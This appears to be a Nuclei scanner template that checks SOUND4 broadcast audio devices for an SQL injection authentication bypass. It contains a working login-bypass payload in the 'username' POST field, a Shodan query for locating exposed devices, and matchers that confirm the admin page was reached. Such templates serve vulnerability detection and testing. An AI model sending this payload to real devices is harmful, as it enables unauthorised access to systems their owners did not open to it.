id: sound4-impact-auth-bypass

info:
  name: SOUND4 IMPACT/FIRST/PULSE/Eco <= 2.x - Authentication Bypass
  author: r3Y3r53
  severity: high
  description: |
    The application suffers from an SQL Injection vulnerability. Input passed through the 'username' POST parameter in 'index.php' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and bypass the authentication mechanism.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5727.php
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-1548359600
  tags: sqli,zeroscience,sound4,auth-bypass,vuln

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=%27%2Bjoxvy--%2Bz&password=ffesdf

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Network Diagnostic:", "disconnect the user")'
        condition: and
# digest: 4b0a004830460221008c50ecd1b5d18c107083b776ad9b90609275e357cd3ffd1c20378d692516ebfe022100c292789352bf963ba2a8e410b2801a331463739cbaac64a520fc6c8b2932340b:922c64590222798bb761d5b6d8e72950